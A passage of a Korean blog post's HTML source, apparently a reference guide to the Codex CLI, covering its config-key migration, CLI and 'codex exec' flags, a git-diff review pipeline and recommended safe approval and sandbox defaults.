padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;SessionStart&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;PermissionRequest&lt;/code&gt; 여섯 가지다(&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hooks 공식 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.6 [agents] &amp;middot; MCP 키 모음&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[agents] job_max_runtime_seconds&lt;/code&gt;는 배치 작업 타임아웃을, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;interrupt_message&lt;/code&gt;는 인터럽트 안내 문구를 설정한다(v0.128.0~). MCP 쪽에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;mcp_servers.&amp;lt;name&amp;gt;.experimental_environment = &quot;remote&quot;&lt;/code&gt;로 원격 실행기를 지정하고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;mcp_oauth_callback_port&lt;/code&gt;&amp;middot;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;mcp_oauth_callback_url&lt;/code&gt;로 headless 환경의 OAuth 콜백을 고정한다(&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 공식 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.7 옛 키 &amp;rarr; 새 키 마이그레이션 치트시트&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;옛 키 (레거시)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;새 키&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;connectors&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;apps&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;[features] 하위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex_hooks&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;hooks&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;최상위 섹션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;memory_tool&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;memories&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;[features] 하위, v0.129.0 Memories MCP v1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search_request&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search_cached&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;최상위 통합 키 (cached / live / disabled)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;collab&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;multi_agent&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;[UNVERIFIED] 소스 코드 확인, 공식 문서 미등재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;telepathy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;chronicle&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;[UNVERIFIED] 소스 코드 확인, 공식 문서 미등재&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;Deprecated 플래그&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;소스 코드에서 deprecated로 표시된 키: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search_request&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search_cached&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;use_legacy_landlock&lt;/code&gt;. CLI 플래그 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--full-auto&lt;/code&gt;도 v0.128.0에서 deprecated됐다. 명시적 권한 프로파일과 신뢰 흐름 설정(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy&lt;/code&gt; + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode&lt;/code&gt;)으로 대체한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 11 부록 B ===== --&gt;
&lt;h2 id=&quot;section11&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 부록 B &amp;mdash; CLI 플래그&amp;middot;codex exec 사전&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;B.1 자주 쓰는 CLI 플래그&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;주요 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--cd / -C &amp;lt;path&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;작업 디렉터리 변경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;모노레포 서브 패키지 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--profile / -p &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;[profiles.&amp;lt;name&amp;gt;] config 로드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;CI 환경별 설정 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--enable / --disable &amp;lt;feature&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;단일 실행에 한해 feature 토글&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;config.toml 안 건드리고 테스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--image / -i&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이미지 첨부&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;스크린샷 분석, UI 버그 설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--no-alt-screen&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;대체 스크린 버퍼 비활성화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;tmux / cmux 멀티 패널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--oss&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;오픈소스 모드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;OSS 기여 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--search&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;웹 검색 활성화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;실시간 정보 필요할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 자주 쓰는 조합은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-C&lt;/code&gt;(경로 지정) + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-p&lt;/code&gt;(프로파일)이고, tmux에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--no-alt-screen&lt;/code&gt;이 거의 기본 옵션처럼 따라붙는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 20px; border-radius: 12px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ CI 인증 키 &amp;mdash; CODEX_API_KEY vs OPENAI_API_KEY&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Part 2&amp;middot;7의 CI 예시에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;OPENAI_API_KEY&lt;/code&gt;를 사용한 부분이 있다. CI 환경에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;CODEX_API_KEY&lt;/code&gt;를 별도로 발급&amp;middot;관리하는 것이 권장된다. 두 키는 서로 다른 인증 경로이며, OPENAI_API_KEY를 그대로 쓰면 권한 범위가 지나치게 넓어질 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;B.2 codex exec 핵심 플래그&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ephemeral&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;세션 지속성 비활성화. CI에서 매 실행을 독립적으로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ignore-rules&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Rules 파일 무시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ignore-user-config&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;사용자 전역 config 무시, 프로젝트 config만 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-o / --output-last-message &amp;lt;path&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;마지막 어시스턴트 메시지를 파일로 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--output-schema&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;출력 JSON 스키마 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;exec resume --last&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;마지막 세션을 이어 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;exec -&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;표준 입력에서 프롬프트 읽기 (파이프라인용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;B.3 파이프라인 예시 &amp;mdash; stdin + 파일 출력&lt;/h3&gt;
&lt;pre class=&quot;properties&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# git diff 결과를 Codex에 넘겨 코드 리뷰 요약을 파일로 받는다
    git diff HEAD~1 | codex exec - \
      --ephemeral \
      --ignore-user-config \
      -o /tmp/review-summary.txt \
      --profile ci&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 16px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 16px 0;&quot;&gt;&lt;b&gt;한글로 이해하기&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;exec -&lt;/code&gt;는 파이프(|)로 들어온 내용을 프롬프트로 받고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-o&lt;/code&gt;로 결과를 파일로 떨군다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ephemeral&lt;/code&gt;까지 합치면 각 CI 실행이 서로 영향을 주지 않는다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;B.4 새 서브커맨드 카탈로그&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex update&lt;/code&gt;&lt;/b&gt; (v0.128.0~): CLI 업데이트 확인&amp;middot;적용.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex completion&lt;/code&gt;&lt;/b&gt;: 셸 자동완성 스크립트 생성. 예: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex completion zsh &amp;gt;&amp;gt; ~/.zshrc&lt;/code&gt;.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex features&lt;/code&gt;&lt;/b&gt; (v0.129.0~): feature 플래그 조회&amp;middot;토글. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--enable / --disable&lt;/code&gt;과 함께 쓴다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex app&lt;/code&gt;&lt;/b&gt;: 데스크톱 앱 진입(없으면 설치 안내).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex app-server&lt;/code&gt;&lt;/b&gt; (EXPERIMENTAL): 앱 서버 시작.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 12 마무리 ===== --&gt;
&lt;h2 id=&quot;section12&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 마무리 &amp;mdash; 안전 기본값 + 캡쳐 체크리스트&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;안전 기본값 권장 세트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어디서 시작할지 모르겠다면 아래 네 가지를 기본값으로 잡는다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# config.toml &amp;mdash; 안전 기본값
    approval_policy = &quot;on-request&quot;    # on-request | untrusted | never
    sandbox_mode    = &quot;workspace-write&quot; # 파일&amp;middot;네트워크 접근 수준
    
    # CI 환경에서는 OPENAI_API_KEY 대신 CODEX_API_KEY를 별도 관리
    # export CODEX_API_KEY=&quot;sk-...&quot;
    
    # tmux / cmux 환경에서 실행
    # codex --no-alt-screen &quot;프롬프트&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;on-request&quot;&lt;/code&gt;: Codex가 실행 전 승인을 요청한다. 의도하지 않은 변경의 첫 번째 방어선이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt;: 작업 디렉터리는 쓰되 그 외 파일시스템&amp;middot;네트워크는 제한한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;CODEX_API_KEY&lt;/code&gt;: CI에서 개인 OpenAI 키 대신 별도 발급한 Codex 전용 키를 쓰면 권한 범위를 좁게 유지한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--no-alt-screen&lt;/code&gt;: tmux 환경에서 대체 스크린 버퍼를 끄면 다른 패널과 스크롤백이 섞이지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;캡쳐 체크리스트 &amp;mdash; 직접 검증하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 codex-cli 0.130.0 기준으로 작성됐다. 자신의 환경에서 명령을 실행해 화면을 캡쳐할 때 다음 항목을 함께 확인하면 글의 정확성을 직접 검증할 수 있다.&lt;/p&gt;
